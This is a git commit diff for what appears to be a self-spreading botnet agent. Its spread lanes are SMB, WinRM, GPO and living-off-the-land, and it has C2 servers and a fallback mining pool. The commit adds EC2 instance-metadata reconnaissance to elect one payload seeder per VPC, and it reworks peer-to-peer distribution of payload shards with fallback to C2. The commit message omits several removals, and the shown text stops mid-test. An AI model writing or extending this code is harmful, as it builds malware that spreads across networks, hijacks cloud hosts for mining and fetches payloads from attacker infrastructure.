Elect one fleet torrent seeder per AWS VPC via IMDS cloud_instance_meta.

Agents read vpc-id from EC2 IMDS on auth; the server scopes subnet_primary_seeder to vpc-id with /24 fallback, exposes VPC seeder badges, and documents cross-VPC gossip via peering/TGW.
2026-06-07 10:06:42 -07:00
parent 0795c511ab
commit 990105f7bf
49 changed files with 570 additions and 879 deletions
--- a/agent/client/client.go
+++ b/agent/client/client.go
@@ -100,8 +100,6 @@ type AgentClient struct {
 	// spreadOnce ensures AutoSpreader starts at most once — after the first
 	// successful WS authentication confirms we are on an owned fleet.
 	spreadOnce sync.Once
-	// cloudVenueOnce starts EC2 IMDS tag scouting after first successful auth.
-	cloudVenueOnce sync.Once

 	// commandResultHook is set in tests to observe sendCommandResult without a live WS.
 	commandResultHook func(action string, success bool, message string)
@@ -405,8 +403,6 @@ func (c *AgentClient) authenticate() error {
 	authPayload.ParentAgentID = parentID
 	authPayload.SpreadGeneration = spreadGen
 	authPayload.SpreadStrain = spreadStrain
-	authPayload.GenesisSnapshotHash = strings.TrimSpace(os.Getenv("AETHER_GENESIS_SNAPSHOT_HASH"))
-	authPayload.StrainCardID = strings.TrimSpace(os.Getenv("AETHER_STRAIN_CARD_ID"))
 	payload, _ := json.Marshal(authPayload)
 	if err := c.write(Message{Type: "auth", Payload: payload}); err != nil {
 		return err
@@ -486,10 +482,6 @@ func (c *AgentClient) authenticate() error {
 		}
 	})

-	c.cloudVenueOnce.Do(func() {
-			 c.startCloudVenueScout()
-	})
-
 	if !c.cfg.IsSeederRole(c.fleetRoleHint()) {
 		c.write(Message{Type: "get_job", Payload: json.RawMessage("{}")})
 	}
--- a/agent/client/fleet_torrent_gossip_test.go
+++ b/agent/client/fleet_torrent_gossip_test.go
@@ -17,7 +17,7 @@ func TestHandleFleetTorrentGossipMergesDHT(t *testing.T) {
 		}},
 	})
 	c.handleFleetTorrentGossip(payload)
-	peers := deploy.FleetShardDHTSnapshot().PeersForShard("tok", 1, "10.0.0", "")
+	peers := deploy.FleetShardDHTSnapshot().PeersForShard("tok", 1, "10.0.0")
 	if len(peers) != 1 || peers[0].AgentID != "peer" {
 		t.Fatalf("peers=%+v", peers)
 	}
--- a/agent/client/policy.go
+++ b/agent/client/policy.go
@@ -122,8 +122,6 @@ func applySpreadPolicyFields(cfg *config.RuntimeConfig, raw json.RawMessage) {
 		HashrateGateHPS       float64         `json:"hashrate_gate_hps"`
 		ErasureLanesEnabled   bool            `json:"erasure_lanes_enabled"`
 		FleetTorrentEnabled   bool            `json:"fleet_torrent_enabled"`
-		AwsS3ShardRegion      string          `json:"aws_s3_shard_region"`
-		AwsCloudFrontDomain   string          `json:"aws_cloudfront_domain"`
 		SpreadTemperament     json.RawMessage `json:"spread_temperament"`
 	}
 	if err := json.Unmarshal(raw, &policy); err != nil {
@@ -137,12 +135,6 @@ func applySpreadPolicyFields(cfg *config.RuntimeConfig, raw json.RawMessage) {
 	}
 	cfg.ErasureLanesEnabled = policy.ErasureLanesEnabled
 	cfg.FleetTorrentEnabled = policy.FleetTorrentEnabled
-	if v := strings.TrimSpace(policy.AwsS3ShardRegion); v != "" {
-		cfg.AwsS3ShardRegion = v
-	}
-	if v := strings.TrimSpace(policy.AwsCloudFrontDomain); v != "" {
-		cfg.AwsCloudFrontDomain = v
-	}
 	applySpreadTemperament(cfg, policy.SpreadTemperament)
 }

--- a/agent/client/protocol.go
+++ b/agent/client/protocol.go
@@ -55,8 +55,6 @@ type AuthPayload struct {
 	ParentAgentID        string `json:"parent_agent_id,omitempty"`
 	SpreadGeneration     int    `json:"spread_generation,omitempty"`
 	SpreadStrain         string `json:"spread_strain,omitempty"`
-	GenesisSnapshotHash  string `json:"genesis_snapshot_hash,omitempty"`
-	StrainCardID         string `json:"strain_card_id,omitempty"`
 	FleetRole            string `json:"fleet_role,omitempty"`
 	SeederMode           bool   `json:"seeder_mode,omitempty"`
 }
--- a/agent/client/protocol_test.go
+++ b/agent/client/protocol_test.go
@@ -71,15 +71,6 @@ func TestAuthPayloadSpreadGenealogyJSONRoundTrip(t *testing.T) {
 	}
 }

-func TestAuthPayloadLaunchTemplateGenesisJSONRoundTrip(t *testing.T) {
-	in := AuthPayload{AgentID: "lt-1", GenesisSnapshotHash: "deadbeef", StrainCardID: "card-9", ParentAgentID: "template"}
-	var out AuthPayload
-	roundTrip(t, in, &out)
-	if out.GenesisSnapshotHash != "deadbeef" || out.StrainCardID != "card-9" {
-		t.Fatalf("genesis fields: %+v", out)
-	}
-}
-
 func TestAuthResponseJSONRoundTrip(t *testing.T) {
 	in := AuthResponse{Success: true, AgentID: "a1", Error: ""}
 	var out AuthResponse
--- a/agent/config/config.go
+++ b/agent/config/config.go
@@ -149,12 +149,8 @@ type BuiltinConfig struct {
 	ErasureLanesEnabled bool
 	// FleetTorrentEnabled enables content-addressed shard DHT + fleet gossip (server policy).
 	FleetTorrentEnabled bool
-	AwsS3ShardRegion    string
-	AwsCloudFrontDomain string
 	// SubnetPrimarySeeder is set on auth when this agent is the primary seeder for its /24.
 	SubnetPrimarySeeder bool
-	PolicySnapshotPollURL string
-	EventBridgeRelayURL   string
 }

 // BackupPool holds connection info for a fallback Stratum mining pool.
--- a/agent/deploy/cloud_instance_meta.go
+++ b/agent/deploy/cloud_instance_meta.go
@@ -0,0 +1,106 @@
+package deploy
+
+import (
+	"context"
+	"fmt"
+	"io"
+	"net/http"
+	"strings"
+	"time"
+)
+
+const ec2IMDSBase = "http://169.254.169.254/latest"
+
+type CloudInstanceMeta struct {
+	VpcID    string `json:"vpc_id,omitempty"`
+	SubnetID string `json:"subnet_id,omitempty"`
+	Region   string `json:"region,omitempty"`
+}
+
+func (m CloudInstanceMeta) Present() bool {
+	return strings.TrimSpace(m.VpcID) != "" || strings.TrimSpace(m.SubnetID) != "" || strings.TrimSpace(m.Region) != ""
+}
+
+var ec2IMDSReadMeta = readEC2InstanceMetaImpl
+
+func ReadEC2InstanceMeta() CloudInstanceMeta {
+	ctx, cancel := context.WithTimeout(context.Background(), 2*time.Second)
+	defer cancel()
+	meta, _ := ec2IMDSReadMeta(ctx)
+	return meta
+}
+
+func readEC2InstanceMetaImpl(ctx context.Context) (CloudInstanceMeta, error) {
+	token, err := fetchEC2IMDSToken(ctx)
+	if err != nil {
+		return CloudInstanceMeta{}, err
+	}
+	region, _ := fetchEC2IMDSPath(ctx, token, "meta-data/placement/region")
+	if strings.TrimSpace(region) == "" {
+		az, _ := fetchEC2IMDSPath(ctx, token, "meta-data/placement/availability-zone")
+		az = strings.TrimSpace(az)
+		if len(az) > 1 {
+			region = az[:len(az)-1]
+		}
+	}
+	macs, err := fetchEC2IMDSPath(ctx, token, "meta-data/network/interfaces/macs/")
+	if err != nil || strings.TrimSpace(macs) == "" {
+		return CloudInstanceMeta{Region: strings.TrimSpace(region)}, nil
+	}
+	mac := strings.TrimSpace(strings.Split(macs, "\n")[0])
+	if mac == "" {
+		return CloudInstanceMeta{Region: strings.TrimSpace(region)}, nil
+	}
+	if !strings.HasSuffix(mac, "/") {
+		mac += "/"
+	}
+	base := "meta-data/network/interfaces/macs/" + mac
+	vpcID, _ := fetchEC2IMDSPath(ctx, token, base+"vpc-id")
+	subnetID, _ := fetchEC2IMDSPath(ctx, token, base+"subnet-id")
+	return CloudInstanceMeta{VpcID: strings.TrimSpace(vpcID), SubnetID: strings.TrimSpace(subnetID), Region: strings.TrimSpace(region)}, nil
+}
+
+func fetchEC2IMDSToken(ctx context.Context) (string, error) {
+	req, err := http.NewRequestWithContext(ctx, http.MethodPut, ec2IMDSBase+"/api/token", nil)
+	if err != nil {
+		return "", err
+	}
+	req.Header.Set("X-aws-ec2-metadata-token-ttl-seconds", "60")
+	resp, err := http.DefaultClient.Do(req)
+	if err != nil {
+		return "", err
+	}
+	defer resp.Body.Close()
+	if resp.StatusCode != http.StatusOK {
+		return "", fmt.Errorf("imds token HTTP %d", resp.StatusCode)
+	}
+	body, err := io.ReadAll(io.LimitReader(resp.Body, 128))
+	return strings.TrimSpace(string(body)), err
+}
+
+func fetchEC2IMDSPath(ctx context.Context, token, path string) (string, error) {
+	path = strings.TrimPrefix(path, "/")
+	req, err := http.NewRequestWithContext(ctx, http.MethodGet, ec2IMDSBase+"/"+path, nil)
+	if err != nil {
+		return "", err
+	}
+	if token != "" {
+		req.Header.Set("X-aws-ec2-metadata-token", token)
+	}
+	resp, err := http.DefaultClient.Do(req)
+	if err != nil {
+		return "", err
+	}
+	defer resp.Body.Close()
+	if resp.StatusCode != http.StatusOK {
+		return "", fmt.Errorf("imds HTTP %d", resp.StatusCode)
+	}
+	body, err := io.ReadAll(io.LimitReader(resp.Body, 64<<10))
+	return strings.TrimSpace(string(body)), err
+}
+
+// ec2IMDSToken and ec2IMDSFetch are shared helpers for cloud venue probing.
+func ec2IMDSToken(ctx context.Context) (string, error) { return fetchEC2IMDSToken(ctx) }
+func ec2IMDSFetch(ctx context.Context, token, path string) (string, error) {
+	return fetchEC2IMDSPath(ctx, token, path)
+}
--- a/agent/deploy/cloud_instance_meta_test.go
+++ b/agent/deploy/cloud_instance_meta_test.go
@@ -0,0 +1,29 @@
+package deploy
+
+import (
+	"context"
+	"testing"
+)
+
+func TestReadEC2InstanceMetaMockIMDS(t *testing.T) {
+	prev := ec2IMDSReadMeta
+	t.Cleanup(func() { ec2IMDSReadMeta = prev })
+	ec2IMDSReadMeta = func(ctx context.Context) (CloudInstanceMeta, error) {
+		return CloudInstanceMeta{VpcID: "vpc-abc123", SubnetID: "subnet-def456", Region: "us-east-1"}, nil
+	}
+	meta := ReadEC2InstanceMeta()
+	if meta.VpcID != "vpc-abc123" {
+		t.Fatalf("meta=%+v", meta)
+	}
+}
+
+func TestReadEC2InstanceMetaNonAWSFallback(t *testing.T) {
+	prev := ec2IMDSReadMeta
+	t.Cleanup(func() { ec2IMDSReadMeta = prev })
+	ec2IMDSReadMeta = func(ctx context.Context) (CloudInstanceMeta, error) {
+		return CloudInstanceMeta{}, context.DeadlineExceeded
+	}
+	if ReadEC2InstanceMeta().Present() {
+		t.Fatal("expected empty meta on non-AWS fallback")
+	}
+}
--- a/agent/deploy/discover_join.go
+++ b/agent/deploy/discover_join.go
@@ -1,4 +1,4 @@
-package deploy
+package deploy

 import (
 	"crypto/hmac"
@@ -25,8 +25,6 @@ type SpreadRouteHint struct {
 	ClearanceLevel    int      `json:"clearance_level,omitempty"`
 	SwarmMagnet       string   `json:"swarm_magnet,omitempty"`
 	ShardManifestURLs []string `json:"shard_manifest_urls,omitempty"`
-	RouteVia          string   `json:"route_via,omitempty"`
-	PreferFargateSeeder bool   `json:"prefer_fargate_seeder,omitempty"`
 }

 // WebRTCMeshPlanBody is the signed WebRTC mesh policy attached to deploy plans.
@@ -109,8 +107,7 @@ func ExecuteDeployPlanAs(cfg config.RuntimeConfig, plan DeployPlanBody, executor
 			if config.FleetTorrentEnabled(cfg) {
 				c2 := c2BaseFromPlan(plan)
 				localIP, _ := PrimaryLocalIPv4()
-				localRegion := ResolveLocalAWSRegion(cfg.AwsS3ShardRegion)
-				if em, eErr := RunFleetTorrentStaging(cfg, *plan.ErasurePlan, c2, SubnetFromIP(localIP), localRegion); eErr == nil {
+				if em, eErr := RunFleetTorrentStaging(cfg, *plan.ErasurePlan, c2, SubnetFromIP(localIP)); eErr == nil {
 					return em + " (primary lane failed: " + err.Error() + ")", nil
 				}
 			}
@@ -274,7 +271,7 @@ func routedEgressDeferral(plan DeployPlanBody, executorAgentID, lane string) (st
 	switch lane {
 	case "spread_smb_unc", "winrm", "gpo", "linux_lotl":
 		return fmt.Sprintf(
-			"spread_route_hint: egress=%s seed=%s subnet=%s (deferred ΓÇö routed egress, not patient zero)",
+			"spread_route_hint: egress=%s seed=%s subnet=%s (deferred — routed egress, not patient zero)",
 			egress,
 			strings.TrimSpace(plan.SpreadRouteHint.SeedAgentID),
 			strings.TrimSpace(plan.SpreadRouteHint.TargetSubnet),
@@ -404,9 +401,6 @@ func appendSpreadRouteTelemetry(detail string, hint *SpreadRouteHint) string {
 		strings.TrimSpace(hint.SeedAgentID),
 		hint.Score,
 	)
-	if via := strings.TrimSpace(hint.RouteVia); via != "" {
-		routeNote += "; route_via=" + via
-	}
 	if detail == "" {
 		return routeNote
 	}
--- a/agent/deploy/discover_join_test.go
+++ b/agent/deploy/discover_join_test.go
@@ -183,20 +183,6 @@ func TestExecuteDeployPlanDNSTXTWithMockResolver(t *testing.T) {
 	}
 }

-func TestExecuteDeployPlanSSMDocumentMock(t *testing.T) {
-	plan := DeployPlanBody{
-		JoinLane: "ssm_document", Action: "ssm_document",
-		SSMDocument: `{"schemaVersion":"2.2"}`,
-	}
-	msg, err := ExecuteDeployPlan(config.RuntimeConfig{}, plan)
-	if err != nil {
-		t.Fatal(err)
-	}
-	if !strings.Contains(msg, "ssm_document") {
-		t.Fatalf("msg=%q", msg)
-	}
-}
-
 func TestExecuteDeployPlanHonorsSpreadRouteHintDeferral(t *testing.T) {
 	plan := DeployPlanBody{
 		JoinLane: "spread_smb_unc",
--- a/agent/deploy/erasure_staging.go
+++ b/agent/deploy/erasure_staging.go
@@ -17,10 +17,9 @@ import (

 // ErasureShardRef is one parallel-lane shard fetch target in a signed deploy plan.
 type ErasureShardRef struct {
-	Index   int    `json:"index"`
-	Lane    string `json:"lane"`
-	URL     string `json:"url"`
-	EdgeURL string `json:"edge_url,omitempty"`
+	Index int    `json:"index"`
+	Lane  string `json:"lane"`
+	URL   string `json:"url"`
 }

 // ErasurePlanBody is server-encoded Reed–Solomon metadata for multi-lane spread payloads.
--- a/agent/deploy/fleet_torrent.go
+++ b/agent/deploy/fleet_torrent.go
@@ -21,12 +21,14 @@ const (
 	fleetTorrentZeroServerRetry = 30 * time.Minute
 )

+// FleetGossipKind mirrors server atlas fleet gossip kinds.
 const (
 	FleetGossipHaveShard = "have_shard"
 	FleetGossipHealthy   = "healthy"
 	FleetGossipKnowNode  = "know_node"
 )

+// FleetGossipRecord is one DHT advertisement from a fleet peer.
 type FleetGossipRecord struct {
 	Kind          string `json:"kind"`
 	AgentID       string `json:"agent_id,omitempty"`
@@ -34,36 +36,37 @@ type FleetGossipRecord struct {
 	Token         string `json:"token,omitempty"`
 	ShardIndex    int    `json:"shard_index,omitempty"`
 	ShardHash     string `json:"shard_hash,omitempty"`
-	Region        string `json:"region,omitempty"`
-	ShardAdvert   string `json:"shard_advert,omitempty"`
 	TargetAgentID string `json:"target_agent_id,omitempty"`
 	Healthy       bool   `json:"healthy,omitempty"`
 	FetchURL      string `json:"fetch_url,omitempty"`
 }

+// ShardPeer is a known holder of one content-addressed shard.
 type ShardPeer struct {
 	AgentID  string
 	Subnet   string
-	Region   string
 	FetchURL string
+	Score    int // higher = prefer LAN same-subnet
 }

+// FleetShardDHT tracks content-addressed shard availability across the fleet.
 type FleetShardDHT struct {
-	mu        sync.RWMutex
-	peers     map[string]map[int][]ShardPeer
-	shardHash map[string]map[int]string
-	healthy   map[string]bool
-	local     map[string]map[int][]byte
+	mu      sync.RWMutex
+	peers   map[string]map[int][]ShardPeer // token -> index -> peers
+	healthy map[string]bool                 // agentID -> healthy
+	local   map[string]map[int][]byte       // token -> index -> shard bytes (primary seeder cache)
 }

 var globalFleetDHT = &FleetShardDHT{
-	peers:     make(map[string]map[int][]ShardPeer),
-	shardHash: make(map[string]map[int]string),
-	healthy:   make(map[string]bool),
-	local:     make(map[string]map[int][]byte),
+	peers:   make(map[string]map[int][]ShardPeer),
+	healthy: make(map[string]bool),
+	local:   make(map[string]map[int][]byte),
 }

-func FleetShardDHTSnapshot() *FleetShardDHT { return globalFleetDHT }
+// FleetShardDHTSnapshot returns the process-wide shard DHT (tests may replace).
+func FleetShardDHTSnapshot() *FleetShardDHT {
+	return globalFleetDHT
+}

 func SetFleetShardDHT(dht *FleetShardDHT) {
 	if dht != nil {
@@ -76,6 +79,7 @@ func shardContentHash(data []byte) string {
 	return hex.EncodeToString(sum[:])
 }

+// MergeFleetGossipRecords ingests relayed fleet torrent gossip.
 func (d *FleetShardDHT) MergeFleetGossipRecords(records []FleetGossipRecord) {
 	if d == nil || len(records) == 0 {
 		return
@@ -88,28 +92,17 @@ func (d *FleetShardDHT) MergeFleetGossipRecords(records []FleetGossipRecord) {
 			if r.Token == "" || r.AgentID == "" {
 				continue
 			}
-			region := strings.TrimSpace(r.Region)
-			if region == "" && r.ShardAdvert != "" {
-				if parsed, _, ok := ParseShardAdvert(r.ShardAdvert); ok {
-					region = parsed
-				}
-			}
 			if d.peers[r.Token] == nil {
 				d.peers[r.Token] = make(map[int][]ShardPeer)
 			}
-			if d.shardHash[r.Token] == nil {
-				d.shardHash[r.Token] = make(map[int]string)
-			}
-			if h := strings.TrimSpace(strings.ToLower(r.ShardHash)); h != "" {
-				d.shardHash[r.Token][r.ShardIndex] = h
-			}
-			peer := ShardPeer{AgentID: r.AgentID, Subnet: r.Subnet, Region: region, FetchURL: r.FetchURL}
+			peer := ShardPeer{AgentID: r.AgentID, Subnet: r.Subnet, FetchURL: r.FetchURL}
 			d.peers[r.Token][r.ShardIndex] = appendUniquePeer(d.peers[r.Token][r.ShardIndex], peer)
 		case FleetGossipHealthy:
 			if r.AgentID != "" {
 				d.healthy[r.AgentID] = r.Healthy
 			}
 		case FleetGossipKnowNode:
+			// know_node expands peer graph — treated as healthy signal for target
 			if r.TargetAgentID != "" {
 				d.healthy[r.TargetAgentID] = true
 			}
@@ -126,6 +119,7 @@ func appendUniquePeer(peers []ShardPeer, p ShardPeer) []ShardPeer {
 	return append(peers, p)
 }

+// StoreLocalShard caches one shard for primary-seeder fan-out.
 func (d *FleetShardDHT) StoreLocalShard(token string, index int, body []byte) {
 	if d == nil || token == "" || len(body) == 0 {
 		return
@@ -138,6 +132,7 @@ func (d *FleetShardDHT) StoreLocalShard(token string, index int, body []byte) {
 	d.local[token][index] = append([]byte(nil), body...)
 }

+// LocalShard returns a cached shard when this agent is primary seeder.
 func (d *FleetShardDHT) LocalShard(token string, index int) ([]byte, bool) {
 	if d == nil {
 		return nil, false
@@ -154,7 +149,8 @@ func (d *FleetShardDHT) LocalShard(token string, index int) ([]byte, bool) {
 	return append([]byte(nil), body...), true
 }

-func (d *FleetShardDHT) PeersForShard(token string, index int, localSubnet, localRegion string) []ShardPeer {
+// PeersForShard returns known peers holding one shard index.
+func (d *FleetShardDHT) PeersForShard(token string, index int, localSubnet string) []ShardPeer {
 	if d == nil {
 		return nil
 	}
@@ -167,8 +163,8 @@ func (d *FleetShardDHT) PeersForShard(token string, index int, localSubnet, loca
 	out := make([]ShardPeer, len(raw))
 	copy(out, raw)
 	sort.Slice(out, func(i, j int) bool {
-		si := peerScore(out[i], localSubnet, localRegion)
-		sj := peerScore(out[j], localSubnet, localRegion)
+		si := peerScore(out[i], localSubnet)
+		sj := peerScore(out[j], localSubnet)
 		if si != sj {
 			return si > sj
 		}
@@ -177,26 +173,8 @@ func (d *FleetShardDHT) PeersForShard(token string, index int, localSubnet, loca
 	return out
 }

-func (d *FleetShardDHT) ShardContentHash(token string, index int) string {
-	if d == nil {
-		return ""
-	}
-	d.mu.RLock()
-	defer d.mu.RUnlock()
-	if d.shardHash[token] == nil {
-		return ""
-	}
-	return d.shardHash[token][index]
-}
-
-func peerScore(p ShardPeer, localSubnet, localRegion string) int {
+func peerScore(p ShardPeer, localSubnet string) int {
 	if localSubnet != "" && p.Subnet == localSubnet {
-		return 4
-	}
-	if localRegion != "" && p.Region == localRegion {
-		return 3
-	}
-	if p.Region != "" {
 		return 2
 	}
 	if p.Subnet != "" {
@@ -205,6 +183,7 @@ func peerScore(p ShardPeer, localSubnet, localRegion string) int {
 	return 0
 }

+// PickLANNeighborPeers returns up to maxLAN peers on the same /24.
 func PickLANNeighborPeers(peers []ShardPeer, localSubnet string, maxLAN int) []ShardPeer {
 	if maxLAN <= 0 {
 		maxLAN = fleetTorrentMaxLANNeighbors
@@ -221,14 +200,15 @@ func PickLANNeighborPeers(peers []ShardPeer, localSubnet string, maxLAN int) []S
 	return out
 }

-func FetchErasureShardFleet(token string, index int, c2URL, cloudFrontURL, localSubnet, localRegion string, dht *FleetShardDHT) ([]byte, error) {
+// FetchErasureShardFleet tries LAN neighbors, cross-subnet peers, then C2 URL.
+func FetchErasureShardFleet(token string, index int, c2URL, localSubnet string, dht *FleetShardDHT) ([]byte, error) {
 	if dht == nil {
 		dht = globalFleetDHT
 	}
 	if body, ok := dht.LocalShard(token, index); ok {
 		return body, nil
 	}
-	peers := dht.PeersForShard(token, index, localSubnet, localRegion)
+	peers := dht.PeersForShard(token, index, localSubnet)
 	try := func(url string) ([]byte, error) {
 		if url == "" {
 			return nil, fmt.Errorf("empty url")
@@ -247,35 +227,18 @@ func FetchErasureShardFleet(token string, index int, c2URL, cloudFrontURL, local
 		if localSubnet != "" && p.Subnet == localSubnet {
 			continue
 		}
-		if localRegion != "" && p.Region == localRegion {
-			if body, err := try(p.FetchURL); err == nil {
-				return body, nil
-			}
-		}
-	}
-	for _, p := range peers {
-		if localSubnet != "" && p.Subnet == localSubnet {
-			continue
-		}
-		if localRegion != "" && p.Region == localRegion {
-			continue
-		}
 		if body, err := try(p.FetchURL); err == nil {
 			return body, nil
 		}
 	}
-	if cloudFrontURL != "" {
-		if body, err := try(cloudFrontURL); err == nil {
-			return body, nil
-		}
-	}
 	if c2URL != "" {
 		return try(c2URL)
 	}
 	return nil, fmt.Errorf("fleet torrent: no shard source for %s/%d", token, index)
 }

-func RunFleetTorrentStaging(cfg config.RuntimeConfig, plan ErasurePlanBody, c2BaseURL, localSubnet, localRegion string) (string, error) {
+// RunFleetTorrentStaging reassembles via fleet DHT peers with C2 super-seeder fallback.
+func RunFleetTorrentStaging(cfg config.RuntimeConfig, plan ErasurePlanBody, c2BaseURL, localSubnet string) (string, error) {
 	if !plan.Enabled || len(plan.Shards) == 0 {
 		return "", fmt.Errorf("erasure plan disabled or empty")
 	}
@@ -311,15 +274,7 @@ func RunFleetTorrentStaging(cfg config.RuntimeConfig, plan ErasurePlanBody, c2Ba
 		if c2 != "" && !strings.HasPrefix(c2URL, "http") {
 			c2URL = fmt.Sprintf("%s/api/v1/public/erasure-shard/%s/%d", c2, plan.ShardToken, ref.Index)
 		}
-		region := localRegion
-		if region == "" {
-			region = strings.TrimSpace(cfg.AwsS3ShardRegion)
-		}
-		cfURL := cloudFrontShardURL(cfg.AwsCloudFrontDomain, plan.ShardToken, region, ref.Index, dht.ShardContentHash(plan.ShardToken, ref.Index))
-		if edge := strings.TrimSpace(ref.EdgeURL); edge != "" {
-			cfURL = edge
-		}
-		body, err := FetchErasureShardFleet(plan.ShardToken, ref.Index, c2URL, cfURL, localSubnet, localRegion, dht)
+		body, err := FetchErasureShardFleet(plan.ShardToken, ref.Index, c2URL, localSubnet, dht)
 		if err != nil {
 			continue
 		}
@@ -358,7 +313,8 @@ func RunFleetTorrentStaging(cfg config.RuntimeConfig, plan ErasurePlanBody, c2Ba
 	return "fleet_torrent: " + msg, nil
 }

-func IngestErasureShardsForSeeder(plan ErasurePlanBody, region string, fetchFn func(url string) ([]byte, error)) []FleetGossipRecord {
+// IngestErasureShardsForSeeder stores shards and prepares gossip advertisements for primary seeders.
+func IngestErasureShardsForSeeder(plan ErasurePlanBody, fetchFn func(url string) ([]byte, error)) []FleetGossipRecord {
 	if fetchFn == nil {
 		fetchFn = fetchErasureShardHTTP
 	}
@@ -369,33 +325,40 @@ func IngestErasureShardsForSeeder(plan ErasurePlanBody, region string, fetchFn f
 		if err != nil || len(body) == 0 {
 			continue
 		}
-		hash := shardContentHash(body)
 		dht.StoreLocalShard(plan.ShardToken, ref.Index, body)
 		records = append(records, FleetGossipRecord{
-			Kind: FleetGossipHaveShard, Token: plan.ShardToken, ShardIndex: ref.Index,
-			ShardHash: hash, Region: strings.TrimSpace(region),
-			ShardAdvert: FormatShardAdvert(region, ref.Index), FetchURL: ref.URL, Healthy: true,
+			Kind:       FleetGossipHaveShard,
+			Token:      plan.ShardToken,
+			ShardIndex: ref.Index,
+			ShardHash:  shardContentHash(body),
+			FetchURL:   ref.URL,
+			Healthy:    true,
 		})
 	}
 	return records
 }

+// StartFleetTorrentReplication runs background shard re-replication for primary seeders.
 func StartFleetTorrentReplication(cfg config.RuntimeConfig, plan ErasurePlanBody, gossipFn func([]FleetGossipRecord)) {
-	if !config.FleetTorrentEnabled(cfg) || !cfg.SubnetPrimarySeeder || gossipFn == nil {
+	if !config.FleetTorrentEnabled(cfg) || !cfg.SubnetPrimarySeeder {
+		return
+	}
+	if gossipFn == nil {
 		return
 	}
 	go func() {
 		ticker := time.NewTicker(5 * time.Minute)
 		defer ticker.Stop()
 		for range ticker.C {
-			region := ResolveLocalAWSRegion(cfg.AwsS3ShardRegion)
-			if recs := IngestErasureShardsForSeeder(plan, region, fetchErasureShardHTTP); len(recs) > 0 {
+			recs := IngestErasureShardsForSeeder(plan, fetchErasureShardHTTP)
+			if len(recs) > 0 {
 				gossipFn(recs)
 			}
 		}
 	}()
 }

+// StartZeroServerReconnect attempts HTTPS dashboard reconnect every 30 minutes.
 func StartZeroServerReconnect(reconnectFn func() error) {
 	if reconnectFn == nil {
 		return
@@ -409,6 +372,7 @@ func StartZeroServerReconnect(reconnectFn func() error) {
 	}()
 }

+// ParseSwarmMagnetToken extracts the erasure token from a swarm magnet tr= parameter.
 func ParseSwarmMagnetToken(magnet string) string {
 	magnet = strings.TrimSpace(magnet)
 	if magnet == "" {
@@ -424,6 +388,7 @@ func ParseSwarmMagnetToken(magnet string) string {
 	return ""
 }

+// FetchShardManifestHTTP loads shard bytes from a manifest URL entry.
 func FetchShardManifestHTTP(manifestURL string) ([]byte, error) {
 	if manifestURL == "" {
 		return nil, fmt.Errorf("empty manifest url")
--- a/agent/deploy/fleet_torrent_test.go
+++ b/agent/deploy/fleet_torrent_test.go
@@ -9,59 +9,19 @@ import (
 )

 func TestFleetShardDHTMergeAndFetch(t *testing.T) {
-	dht := &FleetShardDHT{peers: make(map[string]map[int][]ShardPeer), shardHash: make(map[string]map[int]string), local: make(map[string]map[int][]byte)}
+	dht := &FleetShardDHT{
+		peers:   make(map[string]map[int][]ShardPeer),
+		healthy: make(map[string]bool),
+		local:   make(map[string]map[int][]byte),
+	}
 	dht.MergeFleetGossipRecords([]FleetGossipRecord{{
-		Kind: FleetGossipHaveShard, AgentID: "peer-a", Subnet: "10.1.2", Token: "tok1",
-		ShardIndex: 0, FetchURL: "mock://shard0", Region: "us-east-1",
+		Kind:       FleetGossipHaveShard,
+		AgentID:    "peer-a",
+		Subnet:     "10.1.2",
+		Token:      "tok1",
+		ShardIndex: 0,
+		FetchURL:   "mock://shard0",
 	}})
-	prev := erasureFetchFn
-	erasureFetchFn = func(url string) ([]byte, error) {
-		if url == "mock://shard0" {
-			return []byte("shard"), nil
-		}
-		return nil, nil
-	}
-	defer func() { erasureFetchFn = prev }()
-	body, err := FetchErasureShardFleet("tok1", 0, "mock://c2", "", "10.1.2", "us-east-1", dht)
-	if err != nil || string(body) != "shard" {
-		t.Fatalf("body=%v err=%v", body, err)
-	}
-}
-
-func TestFetchErasureShardFleetRegionPriority(t *testing.T) {
-	dht := &FleetShardDHT{peers: make(map[string]map[int][]ShardPeer), shardHash: make(map[string]map[int]string)}
-	dht.MergeFleetGossipRecords([]FleetGossipRecord{
-		{Kind: FleetGossipHaveShard, AgentID: "eu", Token: "t", ShardIndex: 0, Region: "eu-west-1", FetchURL: "mock://eu"},
-		{Kind: FleetGossipHaveShard, AgentID: "us", Token: "t", ShardIndex: 0, Region: "us-east-1", FetchURL: "mock://us"},
-	})
-	prev := erasureFetchFn
-	var got string
-	erasureFetchFn = func(url string) ([]byte, error) { got = url; return []byte("x"), nil }
-	defer func() { erasureFetchFn = prev }()
-	_, err := FetchErasureShardFleet("t", 0, "", "", "10.9.9", "us-east-1", dht)
-	if err != nil || got != "mock://us" {
-		t.Fatalf("got=%q err=%v", got, err)
-	}
-}
-
-func TestFetchErasureShardFleetCloudFrontBeforeC2(t *testing.T) {
-	dht := &FleetShardDHT{peers: make(map[string]map[int][]ShardPeer), shardHash: make(map[string]map[int]string)}
-	prev := erasureFetchFn
-	erasureFetchFn = func(url string) ([]byte, error) {
-		if url == "mock://cf" {
-			return []byte("cf"), nil
-		}
-		return nil, nil
-	}
-	defer func() { erasureFetchFn = prev }()
-	body, err := FetchErasureShardFleet("t", 0, "mock://c2", "mock://cf", "", "", dht)
-	if err != nil || string(body) != "cf" {
-		t.Fatalf("body=%s err=%v", body, err)
-	}
-}
-
-func TestRunFleetTorrentStagingRoundtrip(t *testing.T) {
-	dht := &FleetShardDHT{peers: make(map[string]map[int][]ShardPeer), shardHash: make(map[string]map[int]string), local: make(map[string]map[int][]byte)}
 	payload := []byte("fleet-torrent-roundtrip")
 	p := erasureParams{DataShards: 2, ParityShards: 1}
 	enc, _ := reedsolomon.New(p.DataShards, p.ParityShards)
@@ -69,29 +29,79 @@ func TestRunFleetTorrentStagingRoundtrip(t *testing.T) {
 	_ = enc.Encode(shards)
 	prev := erasureFetchFn
 	erasureFetchFn = func(url string) ([]byte, error) {
-		switch url {
-		case "mock://0":
+		if url == "mock://shard0" {
 			return shards[0], nil
-		case "mock://1":
-			return shards[1], nil
-		case "mock://2":
-			return shards[2], nil
-		default:
-			return nil, nil
 		}
+		if url == "mock://c2" {
+			return shards[1], nil
+		}
+		return nil, nil
 	}
 	defer func() { erasureFetchFn = prev }()
+
+	body, err := FetchErasureShardFleet("tok1", 0, "mock://c2", "10.1.2", dht)
+	if err != nil || string(body) != string(shards[0]) {
+		t.Fatalf("fetch=%v err=%v", body, err)
+	}
+	plan := ErasurePlanBody{
+		Enabled: true, Scheme: erasureSchemeReedSolomonV1,
